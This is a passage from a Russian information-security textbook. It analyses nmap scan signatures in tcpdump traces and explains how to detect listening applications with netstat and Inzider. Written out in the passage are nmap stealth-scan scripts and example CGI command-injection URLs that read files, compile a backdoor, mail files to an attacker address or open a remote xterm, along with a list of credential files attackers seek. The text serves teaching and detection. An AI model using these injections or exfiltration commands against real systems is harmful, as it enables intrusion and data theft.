18:42:26.221999 hostile.org.42560 > victim.mil.13: S 1884246329:1884246329(0) win 4096
Примеры трафика в отчете приукрашены в попытке выделить сигнатуры, созданные шпар. Поэтому пакеты, посланные nmap, сохранены, а ответы от хостов-жертв удалены. Также не приведены и ответы атакующей системы (т. е. RSTs, посланные жертвой в ответ на запросы SYN/ACKs).
4. Атаки на открытые системы
345
Беглый анализ трафика позволяет выявить некоторые ключевые моменты, полезные для понимания причин подобного поведения системы. Например, поле временной метки timestamp в этом сканировании указывает, что атака была автоматизированна. Анализ сканирования портов приводит к выводу, что для фиксированного исходного порта 42558 в конце атаки появляются некоторые незначительные отклонения. Кажется, что порты назначения, к которым обращались, выбирались случайным образом и опять в конце действий злоумышленника в них обнаруживаются некоторые изменения. Они связаны с появлением пакета с набором флагов SYN/FIN/PUSH, за которым следуют udp-дейтаграммы, направленные на порты с большими номерами. Сканирование заканчивается посылкой еще нескольких SYN-пакетов к фиксированному порту назначения (в данном случае 13).
Выявленные особенности сканирования указывают на автоматизированный процесс создания пакетов и сканирование хоста именно с его помощью. Отчеты об инцидентах позволяют сделать вывод, что применяемые для атаки средства широко распространены в хакерском сообществе. Самый очевидный способ проверить эту теорию - найти средства сканирования, оставляющие такие сигнатуры. Часто поиск приводит к nmap. Nmap можно протестировать на ограниченном числе портов отдельного компьютера. Задавая определенный набор параметров, получим результирующую запись процесса сканирования (пример 2), очень хорошо согласующуюся с реальным сканированием, приведенным в примере 1.
Пример 2. Результат работы утилиты tcpdump при тестовом запуске птар
01:41:25.180240 nmap.mil.54548 > victim.mil.24: S 1301162276:1301162276(0) win 1024
01:41:25.180274 nmap.mil.54548 > victim.mil. 12: S1301162276:1301162276(0) win 1024
01:41:25.180305 nmap.mil.54548 > victim.mil.1: S 1301162276:1301162276(0) win 1024
01:41:25.180336 nmap.mil.54548 > victim.mil.25: S 1301162276:1301162276(0) win 1024
01:41:25.180380 nmap.mil.54548 > victim.mil.11: S 1301162276:1301162276(0) win 1024
01:41:25.180411 nmap.mil.54548 > victim.mil.10: S1301162276:1301162276(0) win 1024
01:41:25.180455 nmap.mil.54548 > victim.mil.16: S 1301162276:1301162276(0) win 1024 01:41:25.180499 nmap.mil.54548 > victim.mil.4: S 1301162276:1301162276(0) win 1024 01:41:25.180942 nmap.mil.54548 > victim.mil.21: S 1301162276:1301162276(0) win 1024 01:41:25.180977 nmap.mil.54548 > victim.mil.6: S 1301162276:1301162276(0) win 1024 01:41:25.181007 nmap.mil.54548 > victim.mil.7: S1301162276:1301162276(0) win 1024 01:41:25.183345 nmap.mil.54548 > victim.mil. 17: S 1301162276:1301162276(0) win 1024 01:41:25.183375 nmap.mil.54548 > victim.mil.15: S 1301162276:1301162276(0) win 1024 01:41:25.183420 nmap.mil.54548 > victim.mil.23: S 1301162276:1301162276(0) win 1024 01:41:25.183461 nmap.mil.54548 > victim.mil.3: S 1301162276:1301162276(0) win 1024 01:41:25.183834 nmap.mil.54548 > victim.mil.8: S1301162276:1301162276(0) win 1024 01:41:25.183867 nmap.mil.54548 > victim.mil.20: S 1301162276:1301162276(0) win 1024 01:41:25.184060 nmap.mil.54548 > victim.mil. 18: S 1301162276:1301162276(0) win 1024 01:41:25.184091 nmap.mil.54548 > victim.mil.22: S1301162276:1301162276(0) win 1024 01:41:25.184122 nmap.mil.54548 > victim.mil.19: S 1301162276:1301162276(0) win 1024 01:41:25.184165 nmap.mil.54548 > victim.mil.9: S 1301162276:1301162276(0) win 1024 01:41:25.184195 nmap.mil.54548 > victim.mil.5: S 1301162276:1301162276(0) win 1024 01:41:25.184239 nmap.mil.54548 > victim.mil.13: S 1301162276:1301162276(0) win 1024 01:41:25.184281 nmap.mil.54548 > victim.mil.2: S 1301162276:1301162276(0) win 1024 01:41:25.184324 nmap.mil.54548 > victim.mil.14: S 1301162276:1301162276(0) win 1024 01:41:25.187237 nmap.mil.54555 > victim.mil.1: S 1815095948:1815095948(0) win 1024 01:41:25.187310 nmap.mil.54557 > victim.mil.1: SFP 1815095948:1815095948(0) win 1024
346
Информационная безопасность открытых систем
01:41:25.187388 nmap.mil.54559 > victim.mil.40289: S 1815095948:1815095948(0) win 1024
01:41:25.188223 nmap.mil.54548 > victim.mil.40289: udp 300
01:41:25.402977 nmap.mil.54549 > victim.mil.1: S 1815095949:1815095949(0) win 1024
01:41:25.413377 nmap.mil.54550 > victim.mil.1: S 1815095950:1815095950(0) win 1024
01:41:25.433429 nmap.mil.54551 > victim.mil.1: S1815095951:1815095951 (0) win 1024 01:41:25.453555 nmap.mil.54552 > victim.mil.1: S 1815095952:1815095952(0) win 1024 01:41:25.473427 nmap.mil.54553 > victim.mil.1: S 1815095953:1815095953(0) win 1024 01:41:25.493411 nmap.mil.54554 > victim.mil.1: S 1815095954:1815095954(0) win 1024
Только определенный набор параметров создаст такую сигнатуру. Другие параметры в командной строке создадут несколько отличные, а в некоторых случаях совершенно другие сигнатуры. Эта командная строка с параметрами имеет следующий вид:
commandline_prompt> ./nmap -v -sS -P0 -О -р1 -25 victim.mil
Nmap дает в руки злоумышленника много ценной информации об атакуемом хосте. Параметр —v указывает на составление детального отчета. Параметр -sS указывает nmap использовать сканирование для наполовину открытых SYN-соединений. Параметр -Р0 запрещает nmap "прозванивать" (утилитой ping) хост назначения. Возможно, самым важным параметром в этом примере является опция -О. Она активизирует специальные подпрограммы, которые пробуют определить ОС хоста-жертвы и номер ее версии. И наконец, -pl-25 предписывает nmap использовать порты назначения с 1-го по 25-й.
Ниже, в примере 3, представлены результаты тестового запуска nmap, приведенного в примере 2.
Пример 3. Результат работы nmap
Starting nmap VX by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
Initiating SYN half-open stealth scan against victim.mil (xxx.xxx.xxx.xxx)
Adding TCP port 9 (state Open).
Adding TCP port 1 (state Open).
Adding TCP port 7 (state Open).
Adding TCP port 21 (state Open).
Adding TCP port 22 (state Open).
Adding TCP port 25 (state Open).
Adding TCP port 19 (state Open).
Adding TCP port 13 (state Open).
Adding TCP port 23 (state Open).
The SYN scan took 0 seconds to scan 25 ports.
For OSScan assuming that port 1 is open and port 35401 is closed and neither are firewalled
Interesting ports on victim.mil (xxx.xxx.xxx.xxx):
Port State Protocol Service
1	open	tcp	tcpmux
7	open	tcp	echo
9	open	tcp	discard
13	open	tcp	daytime
19	open	tcp	chargen
21	open	tcp	ftp
22	open	tcp	unknown
23	open	tcp	telnet
25	open	tcp	smtp
4. Атаки на открытые системы
347
TCP Sequence Prediction: Class=64K rule
Difficulty=1 (Trivial joke)
Sequence numbers: 584D7800 584E7200 584F6C00 58506600 58516000 58525A00
Remote operating system guess: IRIX 6.2 - 6.5
OS Fingerprint:
TSeq(Class=64K)
T1(Resp=Y%DF=N%W=EF2A%ACK=S++%Flags=AS%Ops=MNWNNT)
T2(Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=) T3(Resp=Y%DF=N%W=EF2A%ACK=O%Flags=A%Ops=NNT) T4(Resp=Y%DF=N%W=0%ACK=O%Flags=R%Ops=) T5(Resp=Y%DF=N%W=0%ACK=S++%Flags=AR%Ops=) T6(Resp=Y%DF=N%W=0%ACK=O%Flags=R7oOps=) T7(Resp=Y%DF=N7oW=0%ACK=S%Flags=AR%Ops=) PU(Resp=Y%DF=N%TOS=0%IPLEN=38%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E) Nmap run completed -11P address (1 host up) scanned in 0 seconds
После сканирования с помощью nmap злоумышленник знает следующее. Во-первых, список активных сервисов на удаленном хосте. Во-вторых, посылая неправильные TCP-пакеты, nmap выполняет анализ стека TCP/IP удаленной системы. Так как эти аномальные пакеты не рассматриваются в стандартах RFC (Request for Comment), то каждая ОС борется с ними по-своему. Nmap сравнивает ответы на эти пакеты с внутренней базой данных и делает "наилучшее предположение" об ОС атакуемого хоста и номере ее версии. Данная информация позволяет нападающему строить атаку на основе известных уязвимостей конкретной версии ОС хоста, добиваясь большего успеха при наименьших затратах усилий и оставляя в системе минимум следов. И наконец, nmap сообщает пользователю, насколько трудно для удаленного хоста предсказать номера TCP-последовательностей. Все эти сведения используются для осуществления атаки, называемой "перехват сеансов" (session hijacking). Их можно избежать, если удаленная система не имеет уязвимых сервисов или защищена МЭ.
Второй метод сканирования - это разновидность случайного сканирования. При нем зондируются обычно используемые порты сервисов. Четвертый пример также взят из реальной жизни и описан в отчете NSWC (Dahlgren).
Пример 4. Сканирование "скрытые возможности с плюсом"
Timestamp Source Destination Flag Sequence Numbers Window size
01:07:37.870000 hostile.org.23035 > victim.mil.12345: S 2443641632:2443641632(0) win 512
01:07:37.870000 hostile.org.23053 > victim.mil. 143: S 1849709624:1849709624(0) win 512
01:07:37.870000 hostiie.org.23112 > victim.mil.635: S 1979681472:1979681472(0) win 512 01:07:37.880000 hostile.org.23174 > victim.mil.53: S 2831594802:2831594802(0) win 512 01:07:37.880000 hostile.org.23225 > victim.mil.31337: S 200714632:200714632(0) win 512 01:07:38.160000 hostile.org.23243 > victim.mil. 143: S 4224441585:4224441585(0) win 512 01:07:38.160000 hostile.org.23302 > victim.mil.635: S 3131164300:3131164300(0) win 512 01:07:38.160000 hostile.org.23353 > victim.mil.53: S 27440843:27440843(0) win 512 01:07:38.460000 hostile.org.23366 > victim.mil.143: S 2018442450:2018442450(0) win 512 01:07:38.460000 hostile.org.23417 > victim.mil.635: S 3598088389:3598088389(0) win 512 01:07:38.460000 hostile.org.23430 > victim.mil.53: S 3603076159:3603076159(0) win 512 01:07:38.790000 hostile.org.23479 > victim, mil.53: S 942548711:942548711(0) win 512 01:07:38.790000 hostile.org.23497 > victim.mil.635: S 1558966803:1558966803(0) win 512 01:07:38.800000 hostile.org.23559 > victim.mil. 143: S 1627652454:1627652454(0) win 512
348
Информационная безопасность открытых систем
01:07:39.090000 hostile.org.23608 > victim.mil.53: S 2308481275:2308481275(0) win 512
01:07:39.090000 hostile.org.23610 > victim.mil.635: S 375730554:375730554(0) win 512
01:07:39.090000 hostile.org.23614 > victim.mil.143: S 2363444754:2363444754(0) win 512
01:07:39.390000 hostile.org.23623 > victim.mil.53: S 2983142263:2983142263(0) win 512
01:07:39.390000 hostile.org.23672 > victim.mil.635: S 2931404189:2931404189(0) win 512
01:07:39.390000 hostile.org.23674 > victim.mil. 143: S 30889188:30889188(0) win 512
01:07:39.720000 hostile.org.35959 > victim.mil.42721: S 2995015889:2995015889(0) win 4096
01:07:39.730000 hostile.org.35961 > victim.mil.42721: FP 2995015889:2995015889(0) win 4096 urg 0
01:07:39.730000 hostile.org.35948 > victim.mil.42721: udp 300
01:07:40.150000 hostile.org.35948 > victim.mil.42721: udp 300
01:07:42.590000 hostile.org.35959 > victim.mil.33621: S 495516404:495516404(0) win 4096
01:07:42.590000 hostile.org.35961 > victim.mil.33621: FP 495516404:495516404(0) win 4096 urg 0
01:07:42.600000 hostile.org.35948 > victim.mil.33621: udp 300
01:07:43.060000 hostile.org.35948 > victim.mil.33621: udp 300
01:07:45.340000 hostile.org.35959 > victim.mil.41663: S 1550032560:1550032560(0) win 4096
01:07:45.340000 hostile.org.35961 > victim.mil.41663: FP 1550032560:1550032560(0) win 4096 urg 0
01:07:45.350000 hostile.org.35948 > victim.mil.41663: udp 300
01:07:45.910000 hostile.org.35948 > victim.mil.41663: udp 300
На первый взгляд атака лишь незначительно напоминает действия, выполняемые при случайном сканировании. Можно выявить следующие различия:
	исследуются случайные (в пределах определенного диапазона) порты источников;
	этот тип сканирования направлен на порты сервисов с известными уязвимостями;
	номера последовательностей более реалистичны по сравнению со случайным сканированием;
	завершение сканирования определяется наличием трех отдельных попыток определения ОС.
Но это не финал сканирования. Поясним это на следующем примере.
#!/bin/sh
nmap -v -sS -Р0 -р12345 victim.mil & # SYN half-open stealth probe for netbus
nmap -v -sS -P0 -p143 victim.mil & # SYN half-open stealth probe for imap
nmap -v -sS -P0 -p635 victim.mil & # SYN half-open stealth probe for linux mountd
nmap -v -sS -P0 -p53 victim.mil & # SYN half-open stealth probe for domain
nmap -v -sS -P0 —p31337 victim.mil & # SYN half-open stealth probe for back orifice
nmap -v -sS -P0 -p143 victim.mil &
nmap -v -sS -P0 -p635 victim.mil &
nmap -v -sS -P0 -p53 victim.mil &
nmap -v -sS -P0 -p143 victim.mil &
nmap -v -sS -P0 -p635 victim.mil &
nmap -v -sS -P0 -p53 victim.mil &
nmap -v -sS -P0 -p53 victim.mil &
nmap -v -sS -P0 -p635 victim.mil &
nmap -v -sS -P0 —p143 victim.mil &
nmap -v -sS -P0 -p53 victim.mil &
nmap -v -sS -P0 -p635 victim.mil &
nmap -v -sS -P0 -O —p143 victim.mil & # S h-o probe for imap PLUS OS fingerprinting
После запуска nmap утилита tcpdump покажет результирующий трафик в сети (пример 5).
4. Атаки на открытые системы
349
Пример 5. Результат Tcpdump при запуске птар
Timestamp Source Destination Flag Sequence Numbers Window size
03:50:28.255696 nmap.mil.58893 > victim.mil.12345: S 3529719230:3529719230(0) win 4096
03:50:28.255696 nmap.mil.45313 > victim.mil.635: S 1289452862:1289452862(0) win 4096
03:50:28.255696 nmap.mil.40444 > victim.mil.143: S 1053163340:1053163340(0) win 4096
03:50:28.265696 nmap.mil.37458 > victim.mil.53: S 2174813682:2174813682(0) win 4096
03:50:28.285696 nmap.mil.45830 > victim.mil. 143: S 1208327640:1208327640(0) win 4096
03:50:28.295696 nmap.mil.46840 > victim.mil.53: S 2484113855:2484113855(0) win 4096
03:50:28.295696 nmap.mil.33736 > victim.mil.31337: S 3316743593:3316743593(0) win 4096
03:50:28.305696 nmap.mil.43105 > victim.mil.143: S 2743618682:2743618682(0) win 4096
03:50:28.315696 nmap.mil.42914 > victim.mil.635: S 2564506522:2564506522(0) win 4096
03:50:28.335696 nmap.mil.43127 > victim.mil.635: S 2522641932:2522641932(0) win 4096
03:50:28.345696 nmap.mil.45102 > victim.mil.53: S 2127702081:2127702081(0) win 4096
03:50:28.375696 nmap.mil.54256 > victim.mil.53: S 3126700193:3126700193(0) win 4096
03:50:28.375696 nmap.mil.42342 > victim.mil.635: S 3932342401:3932342401(0) win 4096
03:50:28.395696 nmap.mil.60042 > victim.mil.143: S1863130126:1863130126(0) win 4096
03:50:28.415696 nmap.mil.53612 > victim.mil.53: S 3665870250:3665870250(0) win 4096
03:50:28.425696 nmap.mil.44699 > victim.mil.635: S 1882012961:1882012961(0) win 4096
03:50:28.465696 nmap.mil.63497 > victim.mil. 143: S 2634475111:2634475111 (0) win 4096
03:50:28.465696 nmap.mil.63508 > victim.mil.31576: S 3872554032:3872554032(0) win 4096
03:50:28.465696 nmap.mil.63510 > victim.mil.31576: FP 3872554032:3872554032(0) win 4096 urg 0
03:50:28.465696 nmap.mil.63497 > victim.mil.31576: udp 300
03:50:30.685696 nmap.mil.63508 > victim.mil.31181: S 229752757:229752757(0) win 4096
03:50:30.685696 nmap.mil.63510 > victim.mil.31181: FP 229752757:229752757(0) win 4096 urg 0
03:50:30.685696 nmap.mil.63497 > victim.mil.31181: udp 300
03:50:32.905696 nmap.mil.63508 > victim.mil.30523: S 1585272933:1585272933(0) win 4096
03:50:32.905696 nmap.mil.63510 > victim.mil.30523: FP 1585272933:1585272933(0) win 4096 urg 0
03:50:32.905696 nmap.mil.63497 > victim.mil.30523: udp 300
Каждый запрос nmap (кроме последнего) генерирует блок вывода, представленный ниже.
Starting nmap VX by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
Initiating SYN half-open stealth scan against victim.mil (xxx.xxx.xxx.xxx)
The SYN scan took 0 seconds to scan 1 ports.
No ports open for host victim.mil (xxx.xxx.xxx.xxx)
Nmap run completed - 1 IP address (1 host up) scanned in 0 seconds
Это показывает, что никакие сервисы из разыскиваемых злоумышленником не запущены на данном компьютере. И наоборот, результат последнего запуска процедуры nmap дает такую информацию:
Starting nmap VX by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
Initiating SYN half-open stealth scan against victim.mil (xxx.xxx.xxx.xxx)
The SYN scan took 0 seconds to scan 1 ports.
Warning: No ports found open on this machine, OS detection will be MUCH less reliable
Warning: No ports found open on this machine, OS detection will be MUCH less reliable
Warning: No ports found open on this machine, OS detection will be MUCH less reliable
No ports open for host victim.mil (xxx.xxx.xxx.xxx)
No OS matches for this host. TCP fingerprints:
T5(Resp=Y%DF=N%W=0%ACK=S++%Flags=AR%Ops=)
T6(Resp=Y%DF=N%W=0%ACK=O%Flags=R%Ops=)
T7(Resp=Y%DF=N7oW=0%ACK=S%Flags=AR7oOps=)
350
Информационная безопасность открытых систем
PU(Resp=Y%DF=N%TOS=0%IPLEN=38%RIPTL=148°/oRID=E%RIPCK=Eo/oUCK=Eo/oULEN=134%DAT=E) Nmap run completed -11P address (1 host up) scanned in 5 seconds
Вывод таков: специфицированный порт в числе открытых nmap не найден. Было три попытки найти открытый TCP/UDP-порт для установления версии ОС. Поэтому в конце сканирования получены три соответствующие сигнатуры. В итоге определить ОС не удалось, о чем и сообщается в отчете.
Если на хосте сервис IMAP доступен на порте 143, то сигнатура сканирования будет несколько отлична. В нижеприведенном примере покажем только успешную попытку определения ОС.
04:49:24.845696 nmap.mil.47997 > victim.mil.143: S 1746270164:1746270164(0) win 4096
04:49:24.845696 nmap.mil.48004 > victim.mil.143: S 904899788:904899788(0) win 4096
04:49:24.845696 nmap.mil.48006 > victim.mil.143: SFP 904899788:904899788(0) win 4096 urg 0 04:49:24.845696 nmap.mil.48008 > victim.mil.34691: S 904899788:904899788(0) win 4096 04:49:24.845696 nmap.mil.48010 > victim.mil.34691: FP 904899788:904899788(0) win 4096 urg 0 04:49:24.845696 nmap.mil.47997 > victim.mil.34691: udp 300
04:49:25.095696 nmap.mil.47998 > victim.mil.143: S 904899789:904899789(0) win 4096
04:49:25.115696 nmap.mil.47999 > victim.mil.143: S 904899790:904899790(0) win 4096
04:49:25.135696 nmap.mil.48000 > victim.mil. 143: S 904899791:904899791(0) win 4096 04:49:25.155696 nmap.mil.48001 > victim.mil. 143: S 904899792:904899792(0) win 4096 04:49:25.175696 nmap.mil.48002 > victim.mil.143: S 904899793:904899793(0) win 4096 04:49:25.195696 nmap.mil.48003 > victim.mil.143: S 904899794:904899794(0) win 4096
В данном случае результат запуска nmap покажет следующее:
Starting nmap VX by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
Initiating SYN half-open stealth scan against victim.mil (xxx.xxx.xxx.xxx)
Adding TCP port 143 (state Open).
The SYN scan took 0 seconds to scan 1 ports.
ForOSScan assuming that port 143 is open and port 32159 is closed and neither are firewalled
Interesting ports victim.mil (xxx.xxx.xxx.xxx):
Port State Protocol Service
143 open tcp imap
TCP Sequence Prediction: Class=truly random
Difficulty=9999999 (Good luck!)
Sequence numbers: 8EE8EDC6 6A9E9A8B DA6DB46D 5D9366 CFE64AAB 4822733B
Remote operating system guess: Linux 2.0.35-36
Nmap run completed -11P address (1 host up) scanned in 0 seconds
Все представленные примеры свидетельствуют, что nmap - это мощный инструмент, способный в зависимости от его использования вырабатывать множество сигнатур. Если знать, как он работает, то его сигнатуру в сетевом трафике обнаружить не сложно. Nmap можно применять для определения доступности сервисов не только с использованием обычных и наполовину открытых TCP-соединений, но и методов FIN (в ответ только узел под Unix должен отправить пакет RST для всех закрытых портов), Xmas (согласно RFC 793 в ответ на пакеты FIN, URG и PUSH узел должен отправить RST-пакет для всех закрытых портов), NULL (согласно RFC 793 в ответ на отправку пакетов с отключенными флагами узел должен отправить RST для всех закрытых портов), UDP, ping и даже FTP.
Сведения, которые могут быть "добыты" сканированием с помощью nmap, обширны. Nmap дает всю информацию, необходимую для грамотного, стратегически спланированного, точно нацеленного нападения на интранет (можно сказать, что
4. Атаки на открытые системы
351
nmap позволяет составить детальную базу данных обо всех Интернет-хостах). Такая атака реализуется с большой вероятностью успеха и часто проходит незамеченной организациями, экономящими на установке систем обнаружения вторжений.
Широко известна и программа RuNmap - русская версия рассмотренного сканера [http://www.nmap.ru]. Она предназначена для сканирования сетей с любым количеством объектов, определения состояния этих объектов, а также портов и соответствующих им служб. Для этого RuNmap использует различные методы сканирования, такие, как UDP, TCP connect(), TCP SYN (полуоткрытое), FTP proxy ("прорыв" через FTP), Reverse-ident, ICMP (ping), FIN, ACK, Xmas tree, SYN и NULL-сканирование.
RuNmap также поддерживает большой набор дополнительных возможностей, а именно: определение ОС удаленного хоста с использованием отпечатков (fingerprints) стека TCP/IP, "невидимое" сканирование, динамическое вычисление времени задержки и повтор передачи пакетов, параллельное сканирование, определение неактивных хостов методом параллельного ping-onpoca, сканирование с использованием ложных хостов, определение наличия пакетных фильтров, прямое (без использования portmapper) RPC-сканирование, сканирование с использованием 1Р-фрагментации, а также произвольное указание IP-адресов и номеров портов для объектов сканируемых сетей.
Результатом работы RuNmap является список отсканированных портов удаленной машины с указанием состояния порта, типа используемого протокола, а также названия службы, закрепленной за этим портом. В зависимости от указанных опций RuNmap также может определить следующие характеристики сканируемого хоста: метод генерации TCP ISN, имя пользователя (username) владельца процесса, зарезервировавшего сканируемый порт, символьные имена, соответствующие сканируемым IP-адресам и т. д,-
К средствам, также часто замеченным при реализации сканирования сетей, относится программа sscan (легко настраиваемый многоцелевой сканер сети на наличие многих уязвимостей, включая уязвимые скрипты в CGI-BIN) и такие средства, как Legion (во время атаки посылаются пакеты NetBIOS на порт 138/UDP или 139/ТСР для удаленного подключения к share-директориям на компьютере и крадется информация), Conde Vampiro, Back Oriffice [http://www.cultdeadcow.com], Grinder и др.
Приведем краткий список обычно запускаемых злоумышленниками во время сканирования команд.
 ”/bin/ls" и "/bin/id" - это исполняемые модули соответствующих команд. Они часто запрашиваются с полным путем во многих уязвимых веб-приложениях. Если этот запрос появится в лог-файлах, высока вероятность того, что система подвержена удаленному запуску команд. Однако это не всегда так. Если возможно, нужно проверить запрос, найденный в логах, и посмотреть на результат. Примеры: http://host/cgi-bin/bad.cgi?doh= is % 20-al; http://host/cgi-bin/bad.cgi?doh=id.
 Команда cat часто применяется для просмотра содержимого файлов. Может использоваться для чтения такой важной информации, как конфигурационные файлы, файлы паролей и т. п. Пример: http://host/cgi-bin/bad.cgi?doh=cat%20/etc/ motd.
 Команда echo часто применяется для присоединения данных к файлу, например к index.html. Пример: http://host/cgi-bin/bad.cgi?doh=echo%20"fc-#kiwis% 20was %20here"%20»% 200day.txt.
352
Информационная безопасность открытых систем
	Команда ps показывает список запущенных процессов, что может подсказать хакеру, какое ПО запущено на удаленном компьютере и какие дыры безопасности он может иметь. Пример: http://host/cgi-bin/bad.cgi?doh=ps%20-aux.
	Команды kill и killall применяются для закрытия процессов в Unix. Хакер может использовать их для остановки системного сервиса или программы, а также для сокрытия следов порождения дочерних процессов. Пример: http://host/cgi-bin/ bad.cgi?doh=kill%20-9%200,
	Команда uname часто используется для определения имени удаленной машины. Пример: http://host/cgi-bin/bad.cgi?doh=uname%20-a.
	Команды сс и gcc позволяют компилировать программы. Хакер может ввести wget или tftp для закачки файлов, а затем использовать эти компиляторы для создания закладки. Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phan-tasmp.c|, http://host/cgi-bin/bad.cgi?doh= gcc%20Phantasmp.c;./a.out%20-p% 2031337.
	Команда mail может применяться для отправки файлов на адрес хакера или для рассылки спэма. Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20at-tacker @ hostname % 20« % 20/etc/motd|.
	Команды chown, chmod, chgrp, chsh и другие позволяют устанавливать доступ в Unix, chown устанавливает принадлежность файла пользователю, chmod - доступ к файлу, chgrp — принадлежность файла к группе, chsh позволяет менять shell, применяемый пользователем.
	Команда xterm часто применяется для получения доступа к.shell удаленной системы. Пример: http://host/cgi-bin/bad.cgi?doh=../../../../usr/ XllR6/bin/xterm%20-display %20192.168.22.1|,
Приведем краткий список чаще всего запрашиваемых злоумышленниками файлов.
 /usr/local/apache/conf/httpd.conf - это конфигурационный файл веб-сервера Apache. Он может дать хакеру информацию о расположенных на нем узлах и более специфическую, например о доступе к CGI или SSI.
 /etc/inetd.conf — это конфигурационный файл сервиса inetd. Он содержит системные демоны, используемые удаленным компьютером. Также он может подсказать хакеру, применяет ли удаленная система защитную оболочку (wrapper) для каждого демона. Если использует, тогда хакер проверит /etc/hosts.allow и /etc/hosts.deny и, возможно, изменит их содержимое, что даст ему дополнительные привилегии.
 Файлы .htpasswd, .htaccess и .htgroup используются для аутентификации на вебузле. Хакер попытается просмотреть содержимое этих файлов для получения имен пользователей и паролей. Пароли находятся в файле htpasswd и зашифрованы. Простой взломщик паролей даст хакеру доступ к некоторым защищенным паролями сессиям на веб-узле, а возможно, и к другим учетным записям.
 access log и error log - это лог-файлы веб-сервера Apache. Хакер может проверить их, чтобы увидеть, как записались его запросы и запросы других пользователей. Часто хакеры редактируют эти файлы, чтобы удалить следы своего присутствия.
 [drive-letter] :\winnt\repair\sam._ или [drive-letter] :winnt\repair\sam - это имена файлов паролей Windows NT. Далее для взлома паролей на удаленной Windows-системе хакер запускает программу типа lOphtcrack.
4. Атаки на открытые системы
353
4.3.1.	Перехва т данных и обнаружение ПРОСЛУШИВАЮЩИХ ПРИЛОЖЕНИЙ
Два основных вида перехвата данных - в каналах связи и при вводе с клавиатуры - были рассмотрены соответственно при описании типовых УА первого и пятого типа. Поэтому в данном параграфе остановимся лишь на вопросе обнаружения прослушивающих приложений.
При запуске команды netstat -а можно увидеть ряд портов сервисов с признаком LISTENING. Это означает, что запущены некоторые приложения в фоновом режиме и они держат открытыми указанные порты с целью получения исходящих соединений. Проблема заключается в том, как определить, какое приложение связано с каким портом. Не зная этого, можно никогда не догадаться, что в системе работает "троянец". К сожалению, в Windows 98 и NT нет встроенных средств, которые позволили бы ассоциировать работающие приложения с открытыми портами. Но подобные средства все же имеются.
Inzider - это утилита, показывающая приложения и используемые ими открытые порты. Она работает для Win98/NT/2000/XP. Но в Windows NT/2000/XP утилита не распознает процессы, запущенные в виде служб. Inzider можно найти по адресу http://ntsecurity.nu/downloads/inzider.exe/. По адресу http://www.ntsecurity.nu/toolbox/ inzider/faq.php содержится много полезной информации по применению утилиты. Для установки Inzider просто раскройте заархивированный файл и далее четко следуйте инструкциям. Покажем на примере работу программы. Сначала запустим netstat.
C:\WINDOWS> netstat-а
Active Connections
Proto	Local Address	Foreign Address State
TCP	gwen:137	GWEN:O	LISTENING
TCP	gwen:138	GWEN:O	LISTENING
TCP gwen:nbsession GWEN:O LISTENING
UDP	gwen:tftp	GWEN:O	LISTENING
UDP	gwen:nbname	*:*
UDP gwen:nbdatagram *:*
Видим, что совместная работа NetBIOS и IP возможна (порты 137 и 138, nbsession, nbname и nbdatagram). Это означает, что система работает как сервер, позволяющий клиентам сети и соединяться с файлами, и работать с сетевыми принтерами. Также видим используемый TFTP (UDP-порт 69), позволяющий посылать и принимать файлы в системе без аутентификации. Для установления, почему TFTP держится открытым, запустим Inzider и посмотрим на результат.
inzider Х-(с) 2ХХХ, Arne Vidstrom - http://www.bahnhof.se/~winnt/toolbox/inzider/
Checked C:\WINDOWS\EXPLORER.EXE (PID=4294965459).
Checked C:\WINDOWS\TASKMON.EXE (PID=4294841743).
Checked C:\PROGRAM FILES\CISCO SYSTEMS\CISCO TFTP SERVER\TFTPSERVER.EXE (PID=4294857879).
Found UDP port 69 bound at 0.0.0.0 by C:\PROGRAM FILES\CISCO SYSTEMS\ CISCO TFTP SERVER\TFTPSERVER.EXE (PID=4294857879) [UDP client]
Checked C:\WINDOWS\SYSTEM\MPREXE.EXE (PID=4294953443).
Checked C:\WINDOWS\SYSTEM\KERNEL32.DLL (PID=4294916979).
Checked C:\WINDOWS\SYSTEM\SYSTRAY.EXE (PID=4294845915).
122368
354
Информационная безопасность открытых систем
Checked C:\MCAFEEWIRUSSCAN\VSHWIN32.EXE (PID=4294944083).
Checked C:\WINDOWS\STARTER.EXE (PID=4294869135).
Заметим, что Inzider обнаружила несколько работающих приложений.
PID - это идентификатор процессов, используемый системой для отличия запущенной программы от остальных, работающих одновременно с ней. Тогда видим, что один порт открыт процессом TFTPSERVER.EXE, исполняемый файл которого находится в директории C:\PROGRAM FILES\CISCO SYSTEMS\CISCO TFTP SERVERS Inzider определила, что он и держит открытым UDP-порт 69, который и является портом TFTP.
Но, к сожалению, Inzider неэффективна на 100%. Например, она не выявляет приложения, работающие как сервисы под NT, и может не обнаружить приложения, запущенные на рабочем столе. Но в качестве первоначального анализа она вполне себя оправдывает. После нее можно использовать другие дополнительные средства.
Какие рекомендации по обнаружению прослушивающих приложений для Windows NT можно дать?
В NT в трех местах указывается, что работает в системе: Task Manager — активные приложения, Services - активные сервисы, Devices — загруженные драйверы устройств. Но эти средства не показывают, какие порты держатся открытыми. Для этого нужно поочередно закрывать приложения и смотреть, какие порты были после этого закрыты.
Полезная команда - это net start. Она показывает все активные в настоящее время сервисы, работающие на локальном компьютере. Но net start не показывает устройства и активные приложения.
Если на NT-сервере есть resource kit, то можно использовать команду netsvc. Она имеется ряд преимуществ по сравнению с net start:
	высвечивает название драйвера и название дисплея;
	показывает сервисы и устройства;
	может работать в сети.
Приведем пример использования netsvc.
netsvc WSERVER /list > services.txt
По этой команде будет осуществлен запрос в сети к серверу с именем SERVER и создан файл services.txt, где и будут записаны все сервисы и устройства, работающие на SERVER. После этого опять поочередно можно отключать приложения и определять работавшие с ними порты. Netsvc не может прерывать работу сервисов и устройств в сети.
